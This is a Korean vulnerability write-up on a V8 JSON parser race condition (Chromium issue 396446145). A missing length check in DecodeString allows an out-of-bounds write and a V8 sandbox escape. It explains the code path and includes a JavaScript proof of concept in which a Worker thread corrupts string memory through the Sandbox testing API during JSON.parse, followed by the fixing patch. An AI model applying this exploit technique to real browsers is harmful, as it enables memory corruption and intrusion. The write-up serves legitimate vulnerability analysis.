[하루한줄] Issue 396446145 : V8 json parser의 OOB write로 인한 V8 sandbox escape 취약점

URL

Target

  • Chrome version < 137.0.7137.0

Explain

v8에서 JSON.parse 함수로 '{"result":true, "count":42}' 같이 “result”, “conut” 같은 string data가 포함된 JSON 문자열을 처리할때 escape character인 백슬래시( \\) 가 포함된 문자열이 있을 경우, 아래와 같은 콜스택을 거쳐 JsonParser<Char>::DecodeString 함수가 호출됩니다.

JsonParser::Parse

JsonParser::ParseJson

JsonParser::ParseJsonValue

JsonParser::MakeString

JsonParser::DecodeString

template <typename Char>
template <bool should_track_json_source>
MaybeHandle<Object> JsonParser<Char>::ParseJsonValue() {
  std::vector<JsonContinuation> cont_stack;
  // ....
          case JsonToken::STRING:
          Consume(JsonToken::STRING);
          value = MakeString(ScanJsonString(false)); // <-- here
          if constexpr (should_track_json_source) {
            end_position = position();
            val_node = isolate_->factory()->NewSubString(
                source_, start_position, end_position);
          }
          break;
          
.....

template <typename Char>
Handle<String> JsonParser<Char>::MakeString(const JsonString& string,
                                            Handle<String> hint) {
  if (string.length() == 0) return factory()->empty_string();
  if (string.length() == 1) {
    uint16_t first_char;
    if (!string.has_escape()) {
      first_char = chars_[string.start()];
    } else {
	    //
	    // here
	    //
      DecodeString(&first_char, string.start(), 1);
    }
    return factory()->LookupSingleCharacterStringFromCode(first_char);
  }

JsonParser<Char>::DecodeString 함수는 length 체크 없이 백슬래시 문자를 찾을때까지 계속 루프를 반복하기 때문에, 해당 loop가 실행중일때 다른 thread에서 디코딩 중인 문자열을 수정해서 백슬래쉬를 지워버리면 OOB write가 발생합니다.

void JsonParser<Char>::DecodeString(SinkChar* sink, uint32_t start,
                                    uint32_t length) {
  SinkChar* sink_start = sink;
  const Char* cursor = chars_ + start;
  while (true) {
    const Char* end = cursor + length - (sink - sink_start);
    cursor = std::find_if(cursor, end, [&sink](Char c) {
      if (c == '\\') return true;
      *sink++ = c;
      return false;
    });

PoC

원본 PoC 코드를 보시면 Worker 생성자를 통해 background task thread를 생성 후, Sandbox API 를 사용해 JSON.parse 에서 파싱중인 문자열의 메모리에 직접 접근 후 값을 변경하는 방식으로 OOB write 취약점을 트리거 합니다.

let sbx_memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

const v9 = String.fromCodePoint(6);
const v14 = JSON.stringify(v9);

function corruptInBackground(address) {
    function workerTemplate(address) {
        let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
        while (true) {
            memory.setUint8(address, 0x30, true);
            memory.setUint8(address, 0xcf, true);
        }
    }
    const workerCode = new Function(
        `(${workerTemplate})(${address})`);
    return new Worker(workerCode, { type: 'function' });
}

let v14_addr = Sandbox.getAddressOf(v14);
print("v14_addr: 0x" + v14_addr.toString(16));

// Address of the singeel byte in the one byte string
const c = sbx_memory.getUint8(v14_addr + 16);
print("c: 0x" + c.toString(16));

corruptInBackground(v14_addr + 16)

while (1) {
    try {
        JSON.parse(v14);
    } catch (e) {
        print(e)
    }
}

Patch

JsonParser<Char>::DecodeString 함수에서 문자열을 순회하는 반복문 안에 문자열 길이를 확인하는 루틴을 추가하는 방식으로 패치되었습니다.

diff --git a/src/json/json-parser.cc b/src/json/json-parser.cc
index abc1234..def5678 100644
--- a/src/json/json-parser.cc
+++ b/src/json/json-parser.cc
@@ -1,26 +1,29 @@
   Handle<SeqTwoByteString> intermediate =
       factory()->NewRawTwoByteString(string.length()).ToHandleChecked();
   return DecodeString(string, intermediate, hint);
 }
 
 template <typename Char>
 template <typename SinkChar>
 void JsonParser<Char>::DecodeString(SinkChar* sink, uint32_t start,
                                     uint32_t length) {
-  SinkChar* sink_start = sink;
   const Char* cursor = chars_ + start;
-  while (true) {
-    const Char* end = cursor + length - (sink - sink_start);
-    cursor = std::find_if(cursor, end, [&sink](Char c) {
-      if (c == '\\') return true;
-      *sink++ = c;
-      return false;
-    });
-
-    if (cursor == end) return;
+  while (length > 0) {
+    // Copy everything until the first escape character
+    const Char* backslash_pos = std::find(cursor, cursor + length, '\\');
+    size_t to_copy = backslash_pos - cursor;
+    std::copy_n(cursor, to_copy, sink);
+    length -= to_copy;
+    cursor += to_copy;
+    sink += to_copy;
+
+    if (length == 0) return;
 
     cursor++;
 
     switch (GetEscapeKind(character_json_scan_flags[*cursor])) {
       case EscapeKind::kSelf:
         *sink++ = *cursor;
+        length--;
         break;
 
       case EscapeKind::kBackspace:
         *sink++ = '\x08';
+        length--;
         break;
 
       case EscapeKind::kTab:
         *sink++ = '\x09';
+        length--;
         break;
 
       case EscapeKind::kNewLine:
         *sink++ = '\x0A';
+        length--;
         break;
 
       case EscapeKind::kFormFeed:
         *sink++ = '\x0C';
+        length--;
         break;
 
       case EscapeKind::kCarriageReturn:
         *sink++ = '\x0D';
+        length--;
         break;
 
       case EscapeKind::kUnicode: {
         base::uc32 value = 0;
         for (int i = 0; i < 4; i++) {
           value = value * 16 + base::HexValue(*++cursor);
         }
         if (value <=
             static_cast<base::uc32>(unibrow::Utf16::kMaxNonSurrogateCharCode)) {
           *sink++ = value;
+          length--;
         } else {
+          SBXCHECK_GE(length, 2);
           *sink++ = unibrow::Utf16::LeadSurrogate(value);
           *sink++ = unibrow::Utf16::TrailSurrogate(value);
+          length -= 2;
         }
         break;
       }

Reference